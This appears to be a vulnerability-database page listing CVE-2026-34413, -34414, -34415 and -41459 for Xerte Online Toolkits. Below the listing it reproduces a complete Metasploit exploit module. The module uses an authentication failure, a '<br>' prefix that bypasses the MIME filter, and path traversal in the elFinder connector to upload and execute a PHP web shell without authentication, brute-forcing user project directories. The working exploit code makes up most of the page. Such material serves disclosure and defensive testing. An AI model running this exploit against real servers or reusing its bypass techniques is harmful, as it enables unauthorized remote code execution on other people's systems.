| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
| CVE-2026-34414 | 22 Apr 202618:32 | – | attackerkb | |
| CVE-2026-34415 | 22 Apr 202618:33 | – | attackerkb | |
| CVE-2026-34413 | 22 Apr 202618:33 | – | attackerkb | |
| CVE-2026-41459 | 22 Apr 202618:32 | – | attackerkb | |
| CVE-2026-34413 | 22 Apr 202620:02 | – | circl | |
| CVE-2026-34414 | 22 Apr 202621:20 | – | circl | |
| CVE-2026-34415 | 22 Apr 202620:01 | – | circl | |
| Xerte Online Toolkits 安全漏洞 | 22 Apr 202600:00 | – | cnnvd | |
| Xerte Online Toolkits 安全漏洞 | 22 Apr 202600:00 | – | cnnvd | |
| Xerte Online Toolkits 安全漏洞 | 22 Apr 202600:00 | – | cnnvd |
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload',
'Description' => %q{
This module bypasses authentication failure, extension blacklist,
and path traversal vulnerabilities in the /editor/elfinder/php/connector.php
endpoint to upload and execute a shell in Xerte Online Toolkits
versions 3.15 (commit 4e40f8030a2e3267267db7ce03e0ff57270be6f5 as
there's no patch versions used) and earlier.
},
'Author' => [
'bootstrapbool <bootstrapbool[at]gmail.com>', # Vulnerability Disclosure / Metasploit Module
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultTarget' => 0,
'References' => [
['CVE', '2026-34413'],
['CVE', '2026-34414'],
['CVE', '2026-34415'],
['CVE', '2026-41459'],
[
'URL', # Python Exploit
'https://github.com/bootstrapbool/xerteonlinetoolkits-rce'
],
],
'DisclosureDate' => '2026-04-22',
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [
false,
'Valid username. If Guest authentication is enabled, a username should NOT be provided.'
]),
OptString.new('WEBROOT', [false, 'The full filepath to the local webroot. Ex: /var/www/html/']),
OptString.new('TARGETURI', [true, 'The Xerte base path.']),
]
)
end
def get_webroot
uri = normalize_uri(target_uri.path, 'setup/')
vprint_status("Attempting to retrieve webroot from #{uri}")
res = send_request_cgi('uri' => uri)
unless res && res.code == 200
fail_with(Failure::Unknown, 'Failed to connect to /setup. It was likely removed by an administrator after installation.')
end
res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
end
def get_elfinder_id(name, volume_id = 'l1')
encoded_name = Rex::Text.encode_base64(name)
relative_id = encoded_name.gsub(/=+$/, '')
"#{volume_id}_#{relative_id}"
end
def create_dir(connector_uri, params, dirname, root_dir_id)
dir_id = get_elfinder_id(dirname)
create_dir_params = params.merge(
'cmd' => 'mkdir',
'name' => dirname,
'target' => root_dir_id
)
res = send_request_cgi({
'uri' => connector_uri,
'vars_get' => create_dir_params
})
unless res && res.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to create directory')
end
return dir_id
end
def upload_file(connector_uri, params, filename, dir_id, payload)
data = {
'cmd' => 'upload',
'target' => dir_id
}
mime = Rex::MIME::Message.new
data.each_pair do |key, value|
mime.add_part(value, nil, nil, "form-data; name=\"#{key}\"")
end
mime.add_part(
'<br>' + payload, # The <br> tag bypasses the mime filter
'text/plain',
nil,
"form-data; name=\"upload[]\"; filename=\"#{filename}\""
)
res = send_request_cgi(
'method' => 'POST',
'uri' => connector_uri,
'vars_get' => params,
'vars_post' => data,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
unless res && res.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to upload file')
end
return get_elfinder_id(filename)
end
def rename_file(connector_uri, params, shellname, dirname, file_id)
rename_file_params = params.merge(
'cmd' => 'rename',
'target' => file_id,
'name' => "#{dirname}/../../../../#{shellname}"
)
res = send_request_cgi({
'uri' => connector_uri,
'vars_get' => rename_file_params
})
unless res && res.code == 302
fail_with(Failure::UnexpectedReply, 'Failed to rename file')
end
end
def exploit
success = false
connector_uri = normalize_uri(
target_uri.path,
'/editor/elfinder/php/connector.php'
)
if datastore['WEBROOT'].nil?
webroot = get_webroot
else
webroot = datastore['WEBROOT']
end
webroot = webroot[-1] == '/' ? webroot[0..-2] : webroot
vprint_status("Application Root: #{webroot}")
# The root dir id is always l1_Lw regardless of authentication scheme, user, or project
root_dir_id = 'l1_Lw'
dirname = Rex::Text.rand_text_alpha(8)
filename = dirname + '.txt'
shellname = dirname + '.php4'
# The --Nottingham suffix is non configurable - it's used in all Xerte installations
if datastore['USERNAME'].nil? # Assumes Anonymous authentication enabled (Default Xerte configuration)
user_dir = '--Nottingham/' # Anonymous authentication uses {project_id}--Nottingham scheme for all user directories
else
user_dir = "-#{datastore['USERNAME']}-Nottingham/"
end
(1..100).each do |x|
project_dir = "/USER-FILES/#{x}#{user_dir}"
vprint_status("Attempting #{webroot}#{project_dir}")
project_dir_uri = normalize_uri(target_uri.path, project_dir)
base_params = {
'uploadDir' => "#{webroot}#{project_dir}",
'uploadURL' => full_uri(project_dir_uri).to_s
}
create_dir(connector_uri, base_params, dirname, root_dir_id)
file_id = upload_file(
connector_uri,
base_params,
filename,
root_dir_id,
payload.encoded
)
rename_file(connector_uri, base_params, shellname, dirname, file_id)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, shellname)
})
next if res && res.code == 404
success = true
vprint_status("Successfully uploaded shell through #{project_dir}")
register_dir_for_cleanup("#{base_params['uploadDir']}#{dirname}")
register_file_for_cleanup("#{base_params['uploadDir']}#{filename}")
register_file_for_cleanup("#{webroot}/#{shellname}")
break
end
if !success
fail_with(Failure::NotFound, 'Exploit failed. The target user likely has no projects.')
end
end
def check
uri = normalize_uri(target_uri.path, 'setup/')
vprint_status("Attempting to retrieve webroot from #{uri}")
res = send_request_cgi('uri' => uri)
if res.nil? || res && res.code != 200
return Exploit::CheckCode::Unknown('Failed to connect to /setup. It was likely removed by an administrator after installation.')
end
webroot = res.get_html_document.xpath("//text()[contains(., \"Delete 'database.php' from\")]/following::code[1]").text.presence
# /setup only outputs the app root in vulnerable versions of xerte
if webroot.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Appears
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation